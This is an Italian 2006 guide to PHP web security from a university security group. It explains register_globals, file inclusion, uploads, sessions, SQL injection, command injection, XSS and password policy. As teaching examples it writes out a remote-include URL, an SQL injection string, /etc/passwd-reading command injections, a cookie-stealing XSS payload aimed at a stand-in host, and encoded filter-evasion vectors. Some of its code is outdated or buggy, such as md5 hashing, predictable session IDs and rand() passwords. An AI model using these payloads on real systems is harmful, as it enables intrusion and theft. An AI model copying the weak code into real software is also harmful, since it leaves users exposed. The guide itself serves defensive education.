More Related Content
Similar to sicurezza e php
Similar to sicurezza e php (20)
More from Ce.Se.N.A. Security
More from Ce.Se.N.A. Security (20)
sicurezza e php
- 2. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
Introduzione
“Il livello di sicurezza cala esponenzialmente con l’aumentare del numero dei servizi offerti”
[Legge di Ce.Se.N.A. sulla sicurezza]. A tutti noi piacerebbe d’estate dormire con le finestre spa-
lancate, ma purtroppo i malintenzionati esistono e dobbiamo affrontare il problema.
Il concetto di sicurezza in Php può essere visto proprio sotto quest’ottica: se vogliamo tenere
le finestre aperte di notte, dobbiamo almeno munirci di una inferriata. Dunque, il primo passo viene
effettuato con la consapevolezza di quello che potrebbe succedere.
Prerequisiti a questa guida
Conoscenze base di Php: funzioni, variabili, tipi di variabili, connessioni a database, utilizzo
dei cookies e delle sessioni.
Contenuti
1. Register Globals 3
2. Inclusione di files 5
3. Upload di files 6
4. Autenticazioni: metodi a confronto 8
5. Sql injection 10
6. Esecuzioni di comandi remoti 14
7. XSS, Cross Site Scripting 15
8. Password, generatori, password smarrite 19
9. Appendice 20
Obiettivi
Rendere i lettori consapevoli dei rischi reali dovuti alla non buona fede degli utenti. Scopo
di questo articolo non è dare soluzioni definitive, ma far sapere che possono esistere attacchi e in
quale forma possono presentarsi.
Copyright 2006 © CeSeNA , Stefano Bianchini 2
- 3. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
1. Register Globals
La direttiva “register globals” è uno strascico di retrocompatibilità verso una modalità di
programmazione in Php di qualche anno fa. Vediamo di cosa si tratta.
Attualmente, per accedere a variabili “particolari” (GET, POST, COOKIES, SESSION)
bisogna richiamarle tramite array appositi, ad esempio $_POST[“nomevariabile”].
Nelle vecchie versioni, oppure settando ad “ON” la direttiva Register Globals, è possibile
richiamare queste variabili come se fossero variabili qualunque, quindi anteponendo il simbolo “$”
al nome, ad esempio, di un input di un form HTML.
1. <?
2. //come si legge una variabile "particolare" adesso
3. echo $_POST["nomevariabile"];
4. //come la si leggeva prima (o con le RG settate ad ON)
5. echo $nomevariabile;
6. ?>
7. <!-- Il form Html -->
8. <FORM METHOD="post" action="<?=$PHPSELF?>">
9. <input type="text" name="nomevariabile" />
10. </FORM>
Questa direttiva, associata a piccolo errori di programmazione, può dar luogo a numerosi
problemi di sicurezza. Consideriamo la seguente procedura di controllo di accesso:
1. <?
2. if ($password==$passwordgiusta) {
3. setcookie("autenticato","true");
4. }
5. //... ...
6.
7.
8. //Pensavo di leggere il contenuto del cookie
9. //Ma se un intruso chiama pagina.php?autenticato=true ...
10. //Purtroppo il sistema legge $autenticato come true!!!
11. if ($autenticato) {
12. //posso fare qualsiasi cosa
13. }
14. else {
15. //non posso fare niente
16. }
17. ?>
Per risolvere il problema è consigliabile disabilitare la direttiva, inizializzare ogni variabile
utilizzata e utilizzare gli array globali ($_GET, $_POST, $_SESSION, $_COOKIE) anche in caso
di register_globals ON. Tanti vecchi script Php non funzionano per questo motivo!
Vediamo l’esempio corretto del codice precedente:
Copyright 2006 © CeSeNA , Stefano Bianchini 3
- 4. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
1. <?
2. if ($password==$passwordgiusta) {
3. setcookie("autenticato","true");
4. }
5. //... ...
6.
7. //Ora è giusto il controllo
8. if ($_COOKIE["autenticato"]) {
9. //posso fare qualsiasi cosa
10. }
11. ?>
Copyright 2006 © CeSeNA , Stefano Bianchini 4
- 5. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
2. Inclusione di files
Una delle comodità del Php è quella di poter includere file esterni contenenti funzioni e
procedure che ricorrono spesso; vantaggi di questa pratica sono un considerevole risparmio di
tempo per il programmatore e un aumento di velocità nell’esecuzione del codice.
Questa caratteristica rende più semplice il compito del programmatore nel caso di siti
multilingua, ossia il cui contenuto (menù, link) debba essere mostrato in più lingue a seconda della
scelta dell’utente.
Il seguente codice illustra come sfruttare erroneamente l’inclusione di file php per gestire
più linguaggi:
1. <?
2. //ipotizziamo ad esempio, pagina.php?lang=it
3. //oppure pagina.php?lang=en
4.
5. include($_GET["lang"]."php");
6.
7. //lang = en -> include("en.php");
8. //lang = it -> include("it.php");
9.
10. ?>
Consideriamo ora la seguente strategia di attacco:
1.
2. GET pagina.php?lang=http://sitocattivo.com/script
3.
4. -> include(http://sitocattivo.com/script.php);
Il file script.php potrebbe contenere qualsiasi codice php, che verrebbe eseguito sul
webserver! È sempre consigliabile quindi utilizzare una struttura di tipo switch – case:
1. <?
2. switch ($_GET["lang"]) {
3. case "it": include("it.php");break;
4. case "en": include("en.php");break;
5. default: include("it.php");break;
6. }
7. ?>
É possibile anche utilizzare la direttiva allow_url_fopen con il valore “OFF” per
disabilitare la possibilità di includere script remoti (cioè non appartenenti al webserver su cui state
programmando).
Le considerazioni fatte valgono sia per include() che per require().
Copyright 2006 © CeSeNA , Stefano Bianchini 5
- 6. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
3. Upload di files
Spesso si ha la necessità, all’interno di un sito, di dare la possibilità agli utenti di caricare
file sul server: si pensi, ad esempio, a forum, blog, image gallery (i famosi avatar, le immagini
personali degli utenti).
Metaforicamente è come una gioielleria costretta, pur essendo chiusa dal lavoro, a mostrare preziosi
in vetrina, senza le saracinesche abbassate; se così non fosse i clienti che passeggiano la sera in
centro non potrebbero vedere e notare i gioielli in vendita!
Così come il gioielliere prende tutte le precauzioni possibili (sensori antifurto, vigilanza,
vetri antisfondamento), il programmatore può avvalersi di controlli per la sicurezza relativa del
server. Elenchiamoli:
a) Controlli sulla dimensione
Non vogliamo che gli utenti intasino il server (nel caso delle immagini) con foto di parecchi
mega! Possiamo utilizzare la funzione filesize() del php, evitando questo problema. Esiste
anche un campo form html apposito per le dimensioni massime del file, ma è facilmente
aggirabile.
È anche possibile utilizzare direttamente l’array $_FILES, come segue:
$_FILES['miofile']['size'].
Vediamo qualche esempio:
1. <?
2. //Se il file è più grande di 1 MB
3. if (filesize($_FILES['miofile']['tmp_name']>1048576) {
4. die("Il file inviato è troppo grande");
5. }
6. ?>
b) Controlli sull’estensione
Considerate che qualsiasi file .php viene eseguito dall’interprete, seguendo le regole salvate
nella configurazione del webserver; se quest’ultimo esegue anche altri formati (ad esempio
ASP) è importante rifiutare tutte le estensioni “pericolose”.
Un esempio di una possibile censura basata sull’estensione:
1. <?
2. //Mostra l'estensione basandosi sul nome del file
3. //ad esempio $nomefile='prova.php'
4. function trova_estensione($nomefile) {
5. //$temp='php.avorp'
6. $temp=strrev($nomefile);
7. //prima occorrenza del punto nella stringa rovesciata
8. $posizione=strpos($temp,".");
Copyright 2006 © CeSeNA , Stefano Bianchini 6
- 7. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
9. if (!$posizione) echo "SCONOSCIUTA";
10. //calcolo della reale posizione del punto nella frase
11. //non rovesciata
12. $posizione_reale=strlen($nomefile)-$posizione;
13. echo substr($nomefile,$posizione_reale);
14. }
15. ?>
c) Controlli sul mime/type
Tramite l’array globale $_FILES è possibile controllare il mimetype del file appena caricato,
prima che questo sia effettivamente salvato sul server.
Può venire in aiuto la funzione mime_content_type(), che restituisce il tipo mime del file.
1. <?
2. //Se il file non è una immagine GIF
3. if (mime_content_type($_FILES["miofile"]["tmp_name"])!="image/gif") {
4. die("Il file inviato non è una immagine GIF!");
5. }
6. ?>
d) Controlli sul contenuto
È possibile aprire il file per cercarvi all’interno strutture conosciute (sequenze di bytes comuni
per i PNG, GIF ecc.).
1. <?
2. // borrowed from InfectedAttachmentCheck
3. // phPOP3clean by James Heinrich <info@silisoftware.com>
4. // available at http://phpop3clean.sourceforge.net
5. function check_real_type($BinayData) {
6. $filetype_lookup = array(
7. 'gif' => '^GIF',
8. 'jpeg' => '^xFFxD8xFF',
9. 'png' => '^x89x50x4Ex47x0Dx0Ax1Ax0A',
10. 'tiff' => '^(IIx2Ax00|MMx00x2A)',
11. 'bmp' => '^BM',
12. 'swf' => '^(F|C)WS',
13. 'gz' => '^x1Fx8Bx08',
14. 'zip' => '^PKx03x04',
15. 'rar' => '^Rar!',
16. 'exe' => '^MZ',
17. );
18. foreach ($filetype_lookup as $ext => $pattern) {
19. if (preg_match('/'.$pattern.'/s', $BinaryData)) {
20. $piece_fileext = $ext;
21. return $ext;
22. }
23. }
24. }
25. ?>
Copyright 2006 © CeSeNA , Stefano Bianchini 7
- 8. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
4. Autenticazioni: metodi a confronto
Consideriamo l’ipotesi di una autenticazione utente / password salvati in un database. Una
volta che l’utente abbia correttamente inserito i campi richiesti, il server deve riconoscerlo in ogni
successiva azione, senza aver bisogno che vengano reinseriti per ogni pagina le credenziali.
Per fare ciò possiamo ricorrere principalmente a tre metodi. Il primo di questi è l’utilizzo di
un cookie il quale viene interpretato come un “flag” di una autenticazione già effettuata.
Analizziamo il codice citato in precedenza:
1. <?
2. if ( /* utente e password giusti */) {
3. setcookie("autenticato","true");
4. }
5. //...
6. if ($_COOKIE["autenticato"]=="true") {
7. //fai tutto ciò che vuoi
8. }
9.. ?>
Questo metodo, che utilizza esclusivamente un cookie, è da evitare poiché molto insicuro. Se
l’intruso comprende che basta un cookie di nome “autenticato” con valore “true” per accedere, è
molto semplice che replichi quest’ultimo (un cookie è facilmente riproducibile).
L’autenticazione deve, quindi, lasciare “tracce” sia lato client (in modo che il php possa
richiederlo al browser come credenziale) sia lato server (traccia inalterabile e non riproducibile).
In questo caso viene in aiuto il concetto di sessione; vediamo uno schema di funzionamento:
Lato client
Salvo in un cookie
il session_id
Utente e
password
giusti? Sul server viene
salvato un file con
nome session_id
Lato server contenente le
variabili di sessione
Una sessione php “pura” non è immune all’attacco Man In The Middle. La session_id è
memorizzata nel cookie (oppure inviata via GET) e come tale intercettabile da un intruso in ascolto
(session hijacking). Non è sufficiente quindi memorizzare la session_id ma è necessario
Copyright 2006 © CeSeNA , Stefano Bianchini 8
- 9. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
memorizzare lato server anche informazioni che identificano (quasi) univocamente il client, come
l’indirizzo IP e il browser utilizzato, ad esempio.
Il terzo metodo utilizza proprio queste ulteriori misure di sicurezza, appoggiandosi ad un database
Mysql. Vediamo le tabelle del database:
1. <?
2. /*
3. CREATE TABLE `sessioni` (
4. `sesid` varchar(255) NOT NULL default '',
5. `time` int(11) NOT NULL default '0',
6. `ip` varchar(20) NOT NULL default '',
7. `admin` enum('1','0') NOT NULL default '1',
8. `utente` varchar(255) NOT NULL default '',
9. `user_id` int(11) NOT NULL default '0',
10. PRIMARY KEY (`sesid`)
11. );
12. */
13. /*
14. CREATE TABLE `utenti` (
15. `id` int(11) NOT NULL auto_increment,
16. `name` varchar(50) NOT NULL default '',
17. `username` varchar(25) NOT NULL default '',
18. `email` varchar(100) NOT NULL default '',
19. `password` varchar(100) NOT NULL default '',
20. `usertype` varchar(25) NOT NULL default '',
21. PRIMARY KEY (`id`)
22. );
23. */
24.
E il codice relativo alle funzioni utilizzate:
25. function user_check($username,$userpas){
26. //la prudenza non mai troppa, vedi SQL injection
27. $username=mysql_escape_string($username);
28. $userpas=mysql_escape_string($userpas);
29.
30. //Tralasciamo il codice per collegarsi al DB
31. // e passiamo direttamente alla query
32. $result=mysql_query("SELECT id,username,password FROM utenti WHERE
33. username = '".$username."' AND password='".md5($userpas)."'");
34.
35. if (mysql_num_rows($result)==0) {
36. die("Nome utente o password errati.");
37. }
38. $row_obj=mysql_fetch_object($result);
39. $user_id=$row_obj->id;
40. mysql_free_result($result);
41.
42. //Genera session id e la sua scadenza
43. $sesid = md5(time());
44. //il cookie scade dopo 20 minuti
45. setcookie("sessioncookie", $sesid, time()+1200);
46. //Sul database salvo una session_id cifrata
47. //(risultato di un hash tra la session_id originale e l'indirizzo IP
48. //dell'utente, nonché del suo browser
49. $criptsessionid=md5($sesid.$_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGE
50. NT']);
Copyright 2006 © CeSeNA , Stefano Bianchini 9
- 10. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
51. //la sessione sul DB scade dopo 20 minuti
52. $time = time() + 1200;
53.
54. mysql_query("INSERT INTO sessioni(sesid,time,ip,admin,utente,user_id)
55. VALUES('$criptsessionid','$time','".$_SERVER['REMOTE_ADDR']."',
56. '0','$username','$user_id')");
57. //Torno alla pagina principale, naturamente ora l'utente è loggato
58. header("Location:index.php");
59. }
60.
61. function logout() {
62. $sesid=$_COOKIE["sessioncookie"];
63. $criptsessionid=md5($sesid.$_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGE
64. NT']);
65. setcookie("sessioncookie", "0", time());
66. exec_query("DELETE FROM sessioni WHERE sesid='$criptsessionid'",0);
67. }
68.
69. //Controlla la sessione in ogni pagina
70. function session_check($sesid) {
71. $sesid=$_COOKIE["sessioncookie"];
72. if ($sesid=="") {header("Location: login.php");} else {
73. mysql_query("DELETE FROM sessioni WHERE (time+60) < ".time());
74. $criptsessionid=md5($sesid.$_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGE
75. NT']);
76. $check_time = mysql_query("SELECT sesid,time FROM sessioni WHERE sesid =
77. '$criptsessionid'");
78. $time_row = @mysql_fetch_array($check_time);
79. $bitis = $time_row["time"];
80. if ($bitis < time()){
81. die("<center>Spiacenti, la tua sessione è scaduta. Per
82. favore fai di nuovo il <a href="login.php"
83. target="_parent">login</a>...</center>");
84. }
85. }//else
86. }
87. ?>
Come si nota, la funzione user_check viene richiamata una sola volta (durante il login) per il
controllo utente – password e in caso positivo ha inizio la “sessione”. La funzione session_check
controlla le credenziali dell’utente basandosi sulla session_id del cookies, sull’ip e sul browser e
viene richiamata in ogni pagina ad accesso controllato. La funzione logout termina la sessione.
In questo modo il cookie ha solo una parte dell’informazione per accedere alla sessione: gli altri due
ingredienti sono l’indirizzo IP del cliente e lo User Agent (e se un intruso riesce a replicare anche
quelli, facendo un Man In The Middle e un IpSpoofing beh…allora se lo merita!)
Un’ultima considerazione sulla “vita” (usualmente chiamata LT, LiveTime) data al
meccanismo di sessione (qualsiasi metodo). È bene infatti dare una scadenza relativamente breve,
ma lunga abbastanza da permettere di lavorare tranquillamente (se dopo 5 secondi scade, non si
riesce neanche a leggere una pagina; se scade dopo 24 ore, è un po’ rischioso…).
Copyright 2006 © CeSeNA , Stefano Bianchini 10
- 11. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
5. Sql Injection
«SQL injection is a security vulnerability that occurs in the database layer of an application.
The vulnerability is present when user input is either incorrectly filtered for string literal escape
characters embedded in SQL statements or user input is not strongly typed and thereby
unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can
occur whenever one programming or scripting language is embedded inside another» [Wikipedia,
http://en.wikipedia.org/wiki/Sql_injection].
Possiamo vedere una SQL injection come una minaccia concreta per i sistemi di
autenticazione. Vediamo infatti qualche esempio di questo attacco:
1. <?
2. $utente=$_POST["username"];
3. $password=md5($_POST["password"]);
4. if (mysql_num_rows(mysql_query("SELECT utente,password FROM utenti "
5. ."WHERE utente='$utente' AND password='$password'"))>0) {
6. //autenticato correttamente
7. }
8. ?>
In questo caso, se postiamo come nome utente la stringa «admin’ OR 1=1 ;» la query assume il
seguente aspetto:
1. SELECT utente,password FROM UTENTI
2. WHERE utente = ‘admin’ OR 1=1 ;‘ AND password=’something’
Con il codice di autenticazione precedente, abbiamo appena ricevuto i diritti dell’amministratore!
Tutto perché siamo riusciti ad iniettare codice SQL utilizzando apici e punto e virgola per
commentare il controllo sulla password.
Vediamo alcuni metodi per contrastare questo attacco. Attualmente il php mette a
disposizione funzioni per “valicare l’input”. In particolare, censurare i caratteri particolari che
permettono all’intruso di inserire codice SQL a piacimento (ad esempio il carattere ‘).
Le api standard del nostro linguaggio preferito ci vengono in aiuto con mysql_escape_string() e
mysql_real_escape_string() (quest’ultima tiene conto dell'attuale set di caratteri della
connessione). Queste funzioni non aggiungono le sequenze di escape a caratteri come ‘%’ ed a ‘_’.
Dobbiamo però anche considerare altri errori (voluti e non) da parte degli utenti: stringhe al
posto di valori numerici, valori di lunghezza troppo elevata (possibile buffer overflow).
Possiamo utilizzare funzioni native del php per il controllo del tipo di variabile come
is_numeric(), is_string(), is_int(), is_float() e troncare stringhe di lunghezza eccessiva
con substr().
Copyright 2006 © CeSeNA , Stefano Bianchini 11
- 12. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
Riassumiamo questi controlli:
1. <?
2. //Mette in sicurezza la stringa, eventualmente
3. //la tronca in base alla lunghezza max
4. function check_string($stringa,$lunghezzamax=0) {
5. $t_string=mysql_escape_string($stringa);
6. if ($lunghezzamax>0) {
7. $t_string=substr($5_string,0,$lunghezzamax);
8. }
9. return $t_string;
10. }
11.
12. //Controlla se è un numero
13. //altrimenti restituisce 0
14. //@ param $tipo = 'int', 'float', '' (numero generico)
15. function check_number($numero,$tipo='') {
16. switch($tipo) {
17. case 'int':
18. if (is_int($numero)) { return $numero; }
19. else { return 0; }
20. case 'float':
21. if (is_float($numero)) { return $numero; }
22. else { return 0; }
23. default:
24. if (is_numeric($numero)) { return $numero; }
25. else { return 0; }
26. }
27. }
28. ?>
Controlli lato client possono essere usati per la comodità dall’utente, ma affiancati sempre a
controlli lato server (Javascript può essere disabilitato o modificato!).
Anche prendere misure preventive aumenta la sicurezza: ad esempio evitare che al momento
dell’iscrizione l’utente utilizzi caratteri e parole riservate (apici, doppi apici, parole come
“SELECT”, “GRANT”, “UNION”…) Chiaramente prima di eseguire qualsiasi query questi caratteri
e parole devono essere censurati da una funzione apposita.
1. <?
2. //variabile utilizzata come globale
3. //per memorizzare gli errori
4. $feedback='';
5. function account_namevalid($name) {
6. global $feedback;
7. // Non vogliamo spazi
8. if (strrpos($name,' ') > 0) {
9. $feedback .= " There cannot be any spaces in the name.";
10. return false;
11. }
12.
13. // Deve contenere almeno un carattere alfabetico
14. if (strspn($name,"abcdefghijklmnopqrstuvwxyz
15. ABCDEFGHIJKLMNOPQRSTUVWXYZ") == 0) {
16. $feedback .= "There must be at least one character.";
17. return false;
18. }
19.
Copyright 2006 © CeSeNA , Stefano Bianchini 12
- 13. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
20. // deve contenere solo caratteri "legali"
21. if (strspn($name,"abcdefghijklmnopqrstuvwxyz
22. ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_")!= strlen($name)) {
23. $feedback .= " Illegal character in name. ";
24. return false;
25. }
26.
27. // lunghezza minima e massima
28. if (strlen($name) < 5) {
29. $feedback .= " Name is too short. It must be at least 5 chars. ";
30. return false;
31. }
32. if (strlen($name) > 15) {
33. $feedback .= "Name is too long. It must be less than 15 chars.";
34. return false;
35. }
36.
37. // Nomi illegali da censurare
38. if (eregi("^((root)|(bin)|(daemon)|(adm)|(lp)|(sync)|(shutdown)"
39. ."|(halt)|(mail)|(news)|(union)"
40. . "|(uucp)|(select)|(grant)|(mysql)|(httpd)|(nobody)|(dummy)"
41. . "|(www)|(cvs)|(shell)|(ftp)|(irc)|(debian)"
42. ."|(ns)|(download))$",$name)) {
43. $feedback .= "Name is reserved.";
44. return 0;
45. }
46. if (eregi("^(anoncvs_)",$name)) {
47. $feedback .= "Name is reserved for CVS.";
48. return false;
49. }
50.
51. return true;
52. }
53. ?>
Copyright 2006 © CeSeNA , Stefano Bianchini 13
- 14. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
6. Esecuzione di comandi remoti
L’esecuzione di comandi remoti avviene tramite i comandi php exec(), system(), passthru().
Nei sistemi posix like, però, l’utilizzo di particolari apici rovesciati ( ` ). Gli apici rovesciati
(backsticks) eseguono il comando contenuto e restituiscono l ’output. Questo porta a falle nella
sicurezza, nei sistemi dove andiamo ad eseguire comandi con parametri specificati dall’utente;
consideriamo infatti questo scenario:
1. <?
2. $host=$_GET["host"];
3. $esegui = exec('nmap '.$host, $output);
4. var_dump($output);
5.
6. ?>
Poiché gli apici rovesciati eseguono ciò che è contenuto al loro interno, se proviamo a richiedere
pagina.php?host=`cat /etc/passwd`
Il risultato sarà un errore di nmap, ma l’istruzione cat verrà eseguita ma non completamente
visualizzata. Pensate però che succede se mettete una istruzione di tipo wget (serve per scaricare file
remoti): riuscite a inserire nel server un file qualsiasi!
Le risorse del php sono infinite, e quest’ultimo rende disponibili funzioni per eliminare gli
apici rovesciati, escapeshellcmd() per i comandi e escapeshellarg() per gli argomenti
(parametri).
1. <?
2. function secure_exec($comando,$parametri,& $output) {
3. $safe = array();
4. $safe['comando'] = escapeshellcmd($comando);
5. $safe['parametri'] = escapeshellarg($parametri);
6. $esegui = exec($safe['comando']." ".$safe['parametri'], $output,
$return);
7. return $return;
8. }
9. ?>
La funzione appena esposta mette al sicuro anche da iniezioni di codice indipendenti dagli apici,
sfruttando il simbolo di pipe “|” che è comune ai vari sistemi operativi. Vediamo un esempio di
attacco (consideriamo il codice di nmap precedente):
1. GET pagina.php?host=%2Fdev%2Fnull%20%7C%20cat%20%2Fetc%2Fpasswd
2.
3. Che esegue il comando
4. nmap /dev/null | cat /etc/passwd
Questo invece, a causa dell’ordine imposto dalla pipe, mostrerà il contenuto del file contenente le
password!
Copyright 2006 © CeSeNA , Stefano Bianchini 14
- 15. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
7. XSS Cross Site Script
Bei tempi, quando le chat erano ancora in CGI e si aggiornavano con il tag meta-
refresh…mi ricordo che per fare impazzire un po’ di gente postavo:
Ciao a tutti! <script language=”Javascript”>alert(‘Un virus è entrato nel tuo
computer!’);</script>
Tutti disperati perché pensavano di aver preso un virus, e i moderatori indaffarati a spiegare che era
“solo” Javascript.
I tempi sono cambiati, è vero, ma il problema è rimasto lo stesso. Si è evoluto, ha trovato
nuovi modi per nascere, ma in sostanza è rimasto lo stesso. Sto parlando dell’inserimento arbitrario
di codice scripting (Javascript, Livescript e via dicendo) all’interno di forum e simili.
È cognizione comune che Javascript e i linguaggi client side non possano arrecare danni al
computer nel quale vengono eseguiti: questo è vero, con Javascript non si riesce a cancellare files,
formattare l’hard disk, scaricare virus…e allora dove sta il problema di sicurezza?
Purtroppo questi linguaggi hanno libero accesso ai tanto amati cookies, utilizzati da noi
programmatori per tenere traccia dell’utente (in tutti i metodi visti in precedenza, vedi paragrafo 4).
Questa peculiarità, aggiunta alle potenzialità di un linguaggio server side residente in un sito
“cattivo”, rende i nostri prodotti vulnerabili agli attacchi XSS. Consideriamo infatti un semplice
forum che salvi in database direttamente ciò che l’utente scrive in una textarea:
Senza controlli sul salvataggio, questa messaggio verrà inserita nel database, con il risultato ad ogni
accesso alla pagina, verrà eseguito il codice Javascript (in questo caso il browser mostrerà un alert
con la scritta “XSS”). Ora passiamo a qualcosa di più rischioso:
Ciao, penso che
<script>
document.location=’http://cattivo.example.com/script.php’+document.cookies
</script>
Copyright 2006 © CeSeNA , Stefano Bianchini 15
- 16. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
Immaginiamo che script.php sia del codice php che permetta ad un intruso di salvare i nostri
cookies… Certo, il terzo metodo di autenticazione (cookie con session_id, indirizzo IP, tipo di
browser e Mysql) è parecchio resistente anche ad attacchi XSS (ma la sicurezza certa non esiste).
La prima cosa che viene in mente sarebbe di eliminare i tag “SCRIPT” dalle frasi prima di salvarle;
questo però non è abbastanza, perché possibile sfruttare vulnerabilità di interpretazione di altri tag:
body, img, iframe e così via. Vediamo alcuni esempi:
<IMG SRC="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IMG SRC=JaVaScRiPt:alert('XSS')> <!--Case Insensitive-->
Gli esempi sono molteplici; inoltre è possibile celare parole riservate (“javascript:” e così via)
con particolari codifiche (UTF-8 Unicode encoding, Long UTF-8 Unicode encoding, Hex
encoding). Vediamo qualche esempio [ from http://ha.ckers.org/xss.html ]:
<IMG
SRC=javascript:al
01;rt('XSS')>
<IMG
SRC=javascri�
00112t:alert(�
000039XSS')>
<IMG
SRC=javascript:aler&
#x74('XSS')>
La soluzione migliore è impedire che l’utente riesca ad inserire qualsiasi tag html: il risultato
sarà solo testo, effetto grafico basso, ma sicuramente non conterrà codice XSS. Questo può essere
fatto con la funzione htmlentities() nativa di php. Vediamo un esempio di prima e dopo:
1. <?
2. //Prima
3. $stringa="<script>alert('XSS');</script>";
4. //Dopo: <script>alert('XSS');</script>
5. echo htmlentities($stringa);
6. ?>
Questa funzione permette anche di specificare il tipo di codifica utilizzato. Per una sicurezza
ulteriore (più che altro per non mostrare a video tag html non “esteticamente gratificanti”) si può
ricorrere alla seguente funzione:
1. <?
2. /**
3. * Cleans text of all formating and scripting code
4. */
5. function cleanText ( &$text ) {
6. $text = preg_replace( "'<script[^>]*>.*?</script>'si", '', $text );
7. $text = preg_replace(
'/<as+.*?href="([^"]+)"[^>]*>([^<]+)</a>/is', '2 (1)', $text );
8. $text = preg_replace( '/<!--.+?-->/', '', $text );
Copyright 2006 © CeSeNA , Stefano Bianchini 16
- 17. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
9. $text = preg_replace( '/{.+?}/', '', $text );
10. $text = preg_replace( '/ /', ' ', $text );
11. $text = preg_replace( '/&/', ' ', $text );
12. $text = preg_replace( '/"/', ' ', $text );
13. $text = strip_tags( $text );
14. $text = htmlspecialchars( $text );
15.
16. return $text;
17. }
18. ?>
In certi casi è possibile e concreta la necessità di un sito di permettere agli utenti qualche miglioria
grafica (testo in grassetto, corsivo, centrato, inserimento di immagini). La prima soluzione può
essere utilizzare il cosiddetto BBCode:
“BBCode is an abbreviation for Bulletin Board Code, the markup language used to format posts in
many message boards. The available tags are usually indicated by rectangular brackets
surrounding a keyword, and they are parsed by the message board system before being translated
into a markup language the web browsers understands, usually HTML or XHTML.
BBCode was devised and put to use in order to provide a safer, easier and more limited way of
allowing users to format their messages. Previously, many message boards allowed the users to
include HTML, which could be used to break/imitate parts of the layout, or run JavaScript. Some
implementations of BBCode have suffered problems related to the way they translate the BBCode
into HTML, which could negate the security that was intended to be given by BBCode.”
[Wikipedia, http://en.wikipedia.org/wiki/BBCode].
Quindi: BBCode come tentativo di limitare Javascript, con il risultato che certe implementazioni
trasformavano direttamente le parentesi quadre ( [b] ) in simboli minore/maggiore dell’html (<b>).
Una buona implementazione può però evitare molti problemi, e scongiurare attacchi XSS. A meno
che non si tratti di inserimento di immagini: infatti il BBCode trasforma la struttura:
[IMG]http://www.example.com/image.gif[/IMG]
in <IMG SRC=”http://www.example.com/image.gif”>
Un’ipotesi di attacco sarebbe quindi :
[IMG]javascript:alert(‘XSS’)[/IMG]
-> <IMG SRC=”javascript:alert(‘XSS’)”>
Questo problema è risolvibile analizzando il contesto: l’utente deve inserire immagini con
percorso remoto, della forma http://www.example.com/image.gif. Tutto sta quindi nel controllare
che il percorso dell’immagine sia un URL valido, con la funzione che segue:
1. <?
2. function isValidURL($url)
3. {
Copyright 2006 © CeSeNA , Stefano Bianchini 17
- 18. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
4. return preg_match('|^http(s)?://[a-z0-9-]+(.[a-z0-9-]+)*(:[0-
9]+)?(/.*)?$|i', $url);
5. }
6.
7. ?>
Ultimamente però, soprattutto considerando inserimento di news, blog eccetera sta
prendendo sempre più piede l’editor Wysiwyg (What You See Is What You Get) . Un esempio
famoso può essere FKEditor (http://www.fckeditor.net/). Questi editor utilizzano direttamente
codice html (per una immediata visualizzazione in textarea tramite javascript). Il trucco del BBCode
quindi salta ed è necessario trovare una ulteriore soluzione al problema.
Un aiuto ci giunge dalla rete: un geniale sviluppatore ha avuto l’idea e la pazienza di
scrivere una classe php dedicata alla validazione del codice html (Php Input Filter,
http://cyberai.com/inputfilter/index.php, scaricabile liberamente secondo GPL all’indirizzo
http://cyberai.com/inputfilter/input_filter.zip).
Questa classe permette, in maniera efficace e veloce, di censurare tag, attributi e codici XSS non
voluti e di lasciare inalterati tutti gli altri. Un consiglio? Usatela!
Una considerazione finale: la maggior parte degli attacchi XSS non funziona con Mozilla
Firefox, ma solo con Internet Explorer, Netscape e talvolta anche con Opera (vedi
http://ha.ckers.org/xss.html per maggiori dettagli). In particolare, Internet Explorer (ultima versione
attuale) avvisa l’utente che è stato bloccato del contenuto “pericoloso”. Chissà perché questo avviso
ogni tanto funziona ogni tanto no… quindi:
Copyright 2006 © CeSeNA , Stefano Bianchini 18
- 19. Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it
8. Password, generatori, password smarrite
L’ultima risorsa per l’attaccante, se avete seguito tutti i consigli possibili per mettere in
sicurezza il vostro sito php, è la speranza che la password che usate sia debole, ossia facile da
trovare. Esempi vulnerabili possono essere: password estremamente corte (sotto i 6 caratteri), basate
su dizionario, uguali al nome utente, oppure come “la password” (avete presente la scritta “Inserire
qui la password”: beh la risposta è: “la password”, mi sembra logico…)
È importante quindi controllare sia la lunghezza della password, che il contenuto (obbligate gli
utenti ad utilizzare caratteri alfabetici, numerici e almeno un ‘-‘ oppure un ‘.’.
1. <?
2. //Controlla la lunghezza della password
3. function account_pwvalid($pw) {
4. global $feedback;
5. if (strlen($pw) < 6) {
6. $feedback .= " Password must be at least 6 characters. ";
7. return false;
8. }
9. return true;
10. }
11. ?>
Se questo non risulta sufficiente, è possibile ricorrere a generatori di password casuali (qui un
esempio per caratteri alfanumerici, maiuscoli e minuscoli).
.
1. <?
2. function generatePassword($length = 8)
3. {
4. $chars = 'abcdefghiknrstyxzABDCEFGHKNQRSTYZ23456789';
5. $numChars = strlen($chars);
6.
7. $string = '';
8. for ($i = 0; $i < $length; $i++) {
9. $string .= substr($chars, rand(1, $numChars) - 1, 1);
10. }
11. return $string;
12. }
13.
14. echo generatePassword(8);
15. ?>
